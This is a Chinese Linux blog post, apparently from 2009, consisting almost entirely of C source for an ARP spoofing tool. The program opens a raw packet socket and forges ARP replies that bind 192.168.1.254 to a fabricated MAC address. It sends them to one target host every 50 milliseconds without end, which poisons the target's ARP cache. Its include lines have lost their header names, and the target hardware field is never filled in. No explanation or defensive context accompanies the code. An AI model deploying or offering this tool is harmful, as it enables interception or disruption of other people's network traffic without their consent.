Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1073014
  • 博文数量: 252
  • 博客积分: 4561
  • 博客等级: 上校
  • 技术积分: 2833
  • 用 户 组: 普通用户
  • 注册时间: 2008-03-15 08:23
文章分类

全部博文(252)

文章存档

2015年(2)

2014年(1)

2013年(1)

2012年(16)

2011年(42)

2010年(67)

2009年(87)

2008年(36)

arp

分类: LINUX

2009-04-30 17:50:21

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#define SA struct sockaddr

#define HWADDR_SIZE     6
#define IPADDR_SIZE     4

struct arp_package
{
        unsigned char ether_dhwaddr[HWADDR_SIZE];       /* 6 bytes */
        unsigned char ether_shwaddr[HWADDR_SIZE];       /* 6 bytes */
        unsigned short frame_type;                      /* 2 bytes */
        unsigned short hw_type;                         /* hardware type 2 bytes */
        unsigned short pr_type;                         /* protocol type 2 bytes */
        unsigned char hw_addrlen;                       /* hardware address length 1 byte */
        unsigned char pr_addrlen;                       /* protocol address length 1 byte */
        unsigned short op;                              /* operation type 2 bytes */
        unsigned char s_ether_addr[HWADDR_SIZE];        /* ethernet address of send end 6 bytes */
        unsigned char s_ip_addr[IPADDR_SIZE];           /* ip address of send end 4 bytes */
        unsigned char d_ether_addr[HWADDR_SIZE];        /* ethernet address of target end 6 bytes */
        unsigned char d_ip_addr[IPADDR_SIZE];           /* ip address of target end 4 bytes */
} __attribute__((packed));

static struct arp_package arp;

static int assemble_arp_package(int sockfd)
{
        unsigned char shwaddr[6] = {0xAA, 0xB5, 0xCC, 0x7A, 0x4D, 0x2C};
        unsigned int nsip, ndip;

        if (inet_pton(AF_INET, "192.168.1.254", &nsip) <= 0)
        {
                perror("inet_pton");
        }
        if (inet_pton(AF_INET, "192.168.6.116", &ndip) <= 0)
        {
                perror("inet_pton");
        }

        arp.ether_dhwaddr[0] = 0x00;
        arp.ether_dhwaddr[1] = 0x1D;
        arp.ether_dhwaddr[2] = 0x60;
        arp.ether_dhwaddr[3] = 0x5B;
        arp.ether_dhwaddr[4] = 0x82;
        arp.ether_dhwaddr[5] = 0x70;
        memcpy(arp.ether_shwaddr, shwaddr, HWADDR_SIZE);
        arp.frame_type = htons(ETH_P_ARP);
        arp.hw_type = htons(ARPHRD_ETHER);
        arp.pr_type = htons(ETH_P_IP);
        arp.hw_addrlen = HWADDR_SIZE;
        arp.pr_addrlen = IPADDR_SIZE;
        arp.op = htons(ARPOP_REPLY);            /* arp request */
        memcpy(arp.s_ether_addr, shwaddr, HWADDR_SIZE);
        memcpy(arp.s_ip_addr, &nsip, IPADDR_SIZE);
        arp.ether_dhwaddr[0] = 0x00;
        arp.ether_dhwaddr[1] = 0x1D;
        arp.ether_dhwaddr[2] = 0x60;
        arp.ether_dhwaddr[3] = 0x5B;
        arp.ether_dhwaddr[4] = 0x82;
        arp.ether_dhwaddr[5] = 0x70;

        memcpy(arp.d_ip_addr, &ndip, IPADDR_SIZE);

        struct sockaddr addr;

        memset(&addr, '\0', sizeof(addr));
        strcpy(addr.sa_data, "eth0");

        for (;;)
        {
                if (sendto(sockfd, &arp, sizeof(arp), 0, (SA *)&addr, sizeof(addr)) != sizeof(arp))
                {
                        perror("sendto");
                }

                usleep(50000);
        }

        return 0;
}

static int creat_raw_sock(void)
{
        int sockfd;

        if ((sockfd = socket(PF_PACKET, SOCK_PACKET, htons(ETH_P_ARP))) == -1)
        {
                perror("socket");
                goto socket_err;
        }

        return sockfd;
socket_err:
        return -1;
}

int main(void)
{
        int sockfd;

        sockfd = creat_raw_sock();
        if (sockfd == -1)
        {
                goto creat_err;
        }

        assemble_arp_package(sockfd);

        return 0;
creat_err:
        return -1;
}

阅读(661) | 评论(0) | 转发(0) |
0

上一篇:在类中使用函数指针

下一篇:c++模板类

给主人留下些什么吧!~~